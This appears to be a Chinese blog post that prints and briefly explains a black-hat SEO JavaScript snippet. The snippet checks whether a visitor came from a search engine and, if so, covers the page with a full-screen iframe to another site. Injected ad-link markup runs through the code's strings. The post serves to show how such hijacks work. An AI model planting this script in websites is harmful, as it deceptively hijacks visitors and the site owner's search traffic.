黑帽seo劫持程序,js劫持搜索引擎代码


Posted in Javascript onSeptember 15, 2015

今天在浏览网页时无意中发现了这段JS劫持搜索引擎代码。劫持搜索引擎正常搜索过来的流量,这是黑帽seo常用的劫持方法。特意解密出来供大家了解其劫持原理。

源码打印帮助

<SCRIPT language="<span id="0_nwp" style="width: auto; height: auto; float: none;"><a id="0_nwl" href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=javascript&k0=javascript&kdi0=0&luki=8&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0" target="_blank" mpid="0" style="text-decoration: none;"><span style="color:#0000ff;font-size:12px;width:auto;height:auto;float:none;">javascript</span></a></span>">
var _$ = ["google", "aol", "yahoo", "bing", "msn", "hotbot", "go", "searchengine", "altavista", "goto", "excite", "slider", "musicsearch", "lycos", "look<span id="1_nwp" style="width: auto; height: auto; float: none;"><a id="1_nwl" href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=smart&k0=smart&kdi0=0&luki=3&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0" target="_blank" mpid="1" style="text-decoration: none;"><span style="color:#0000ff;font-size:12px;width:auto;height:auto;float:none;">smart</span></a></span>", "netscape", "search", "ask", "Mahalo", "dogpile", "S-R", "webcrawler", "yandex", "splut", "fireball", "wlw", "suche", "godado", "tiscali", "iltrovatore", "abacho", "<div <span id="2_nwp" style="width: auto; height: auto; float: none;"><a id="2_nwl" href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=style&k0=style&kdi0=0&luki=6&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0" target="_blank" mpid="2" style="text-decoration: none;"><span style="color:#0000ff;font-size:12px;width:auto;height:auto;float:none;">style</span></a></span>=\"z-index:10043;background-color:#ffffff;right:0px;position:absolute;tex-align:center;width:100%;height:100%;top:0px;left:0px;\"><iframe id=\"rf\" scrolling=\"no\" frameborder=\"0\" style=\"width:100%;height:2043px;display:<span id="3_nwp" style="width: auto; height: auto; float: none;"><a id="3_nwl" href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=block&k0=block&kdi0=0&luki=5&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0" target="_blank" mpid="3" style="text-decoration: none;"><span style="color:#0000ff;font-size:12px;width:auto;height:auto;float:none;">block</span></a></span>;visibility:visible;\" <span id="4_nwp" style="width: auto; height: auto; float: none;"><a id="4_nwl" href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=src&k0=src&kdi0=0&luki=4&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0" target="_blank" mpid="4" style="text-decoration: none;"><span style="color:#0000ff;font-size:12px;width:auto;height:auto;float:none;">src</span></a></span>=\"http://www.5ixuexiwang.com/\" allowtransparency=\"true\"></div>"];
var a = window["document"]["referrer"];
if (a["indexOf"](_$[0]) > 0x0 || a["indexOf"](_$[1]) > 0x0 || a["indexOf"](_$[2]) > 0x0 || a["indexOf"](_$[3]) > 0x0 || a["indexOf"](_$[4]) > 0x0 || a["indexOf"](_$[5]) > 0x0 || a["indexOf"](_$[6]) > 0x0 || a["indexOf"](_$[7]) > 0x0 || a["indexOf"](_$[8]) > 0x0 || a["indexOf"](_$[9]) > 0x0 || a["indexOf"](_$[10]) > 0x0 || a["indexOf"](_$[11]) > 0x0 || a["indexOf"](_$[12]) > 0x0 || a["indexOf"](_$[13]) > 0x0 || a["indexOf"](_$[14]) > 0x0 || a["indexOf"](_$[15]) > 0x0 || a["indexOf"](_$[16]) > 0x0 || a["indexOf"](_$[17]) > 0x0 || a["indexOf"](_$[18]) > 0x0 || a["indexOf"](_$[19]) > 0x0 || a["indexOf"](_$[20]) > 0x0 || a["indexOf"](_$[21]) > 0x0 || a["indexOf"](_$[22]) > 0x0 || a["indexOf"](_$[23]) > 0x0 || a["indexOf"](_$[24]) > 0x0 || a["indexOf"](_$[25]) > 0x0 || a["indexOf"](_$[26]) > 0x0 || a["indexOf"](_$[27]) > 0x0 || a["indexOf"](_$[28]) > 0x0 || a["indexOf"](_$[29]) > 0x0 || a["indexOf"](_$[30]) > 0x0) {
  window["document"]["writeln"](_$[31])
}
</SCRIPT>

以上内容就是给大家分享的黑帽seo劫持程序,js劫持搜索引擎代码,希望大家喜欢。

Javascript 相关文章推荐
js正则表达式中test,exec,match方法的区别说明
Jan 29 Javascript
jQuery中使用each处理json数据
Apr 23 Javascript
Javascript编写2048小游戏
Jul 07 Javascript
利用jQuery及AJAX技术定时更新GridView的某一列数据
Dec 04 Javascript
js实现跨域的多种方法
Dec 25 Javascript
js闭包用法实例详解
Dec 13 Javascript
ES6扩展运算符用法实例分析
Oct 31 Javascript
select标签设置默认选中的选项方法
Mar 02 Javascript
JavaScript简单实现的仿微博留言功能示例
Jan 17 Javascript
javascript判断一个变量是数组还是对象
Apr 10 Javascript
Vue退出登录时清空缓存的实现
Nov 12 Javascript
JavaScript如何处理移动端拍摄图片旋转问题
Nov 16 Javascript
JavaScript实现仿新浪微博大厅和腾讯微博首页滚动特效源码
Sep 15 #Javascript
JS实现仿FLASH效果的竖排导航代码
Sep 15 #Javascript
JS+CSS实现自适应选项卡宽度的圆角滑动门效果
Sep 15 #Javascript
JS实现完全语义化的网页选项卡效果代码
Sep 15 #Javascript
js如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问
Sep 14 #Javascript
根据user-agent判断蜘蛛代码黑帽跳转代码(js版与php版本)
Sep 14 #Javascript
jQuery实现默认是闭合的FAQ展开效果菜单
Sep 14 #Javascript
You might like
php 用checkbox一次性删除多条记录的方法
2010/02/23 PHP
从PHP $_SERVER相关参数判断是否支持Rewrite模块
2013/09/26 PHP
微信公众平台天气预报功能开发
2014/07/06 PHP
php文件读取方法实例分析
2015/06/20 PHP
Laravel用户授权系统的使用方法示例
2018/09/16 PHP
js 复制或插入Html的实现方法小结
2010/05/19 Javascript
javascript学习笔记(十六) 系统对话框(alert、confirm、prompt)
2012/06/20 Javascript
javascript中注册和移除事件的4种方式
2013/03/20 Javascript
JS中判断null、undefined与NaN的方法
2014/03/24 Javascript
JavaScript 定时器 SetTimeout之定时刷新窗口和关闭窗口(代码超简单)
2016/02/26 Javascript
Angularjs使用directive自定义指令实现attribute继承的方法详解
2016/08/05 Javascript
微信小程序 switch组件详解及简单实例
2017/01/10 Javascript
详细讲解vue2+vuex+axios
2017/05/27 Javascript
vue v-model实现自定义样式多选与单选功能
2018/07/05 Javascript
vue+element-ui实现表格编辑的三种实现方式
2018/10/31 Javascript
图文详解vue框架安装步骤
2019/02/12 Javascript
Node.js fs模块(文件模块)创建、删除目录(文件)读取写入文件流的方法
2019/09/03 Javascript
python实现用户登陆邮件通知的方法
2015/07/09 Python
在Django的视图中使用数据库查询的方法
2015/07/16 Python
unittest+coverage单元测试代码覆盖操作实例详解
2018/04/04 Python
使用pandas对两个dataframe进行join的实例
2018/06/08 Python
解决python中无法自动补全代码的问题
2018/12/04 Python
Djang的model创建的字段和参数详解
2019/07/27 Python
python多进程并行代码实例
2019/09/30 Python
python实现复制文件到指定目录
2019/10/16 Python
使用python 的matplotlib 画轨道实例
2020/01/19 Python
让你相见恨晚的十个Python骚操作
2020/11/18 Python
使用Canvas操作像素的方法
2018/06/14 HTML / CSS
九月份红领巾广播稿
2014/01/22 职场文书
劳动竞赛活动方案
2014/02/20 职场文书
辅导员评语
2014/05/04 职场文书
党员违纪检讨书怎么写
2014/11/01 职场文书
2014年控辍保学工作总结
2014/12/08 职场文书
观看《信仰》心得体会
2016/01/15 职场文书
Angular CLI发布路径的配置项浅析
2021/03/29 Javascript
Python包管理工具pip的15 个使用小技巧
2021/05/17 Python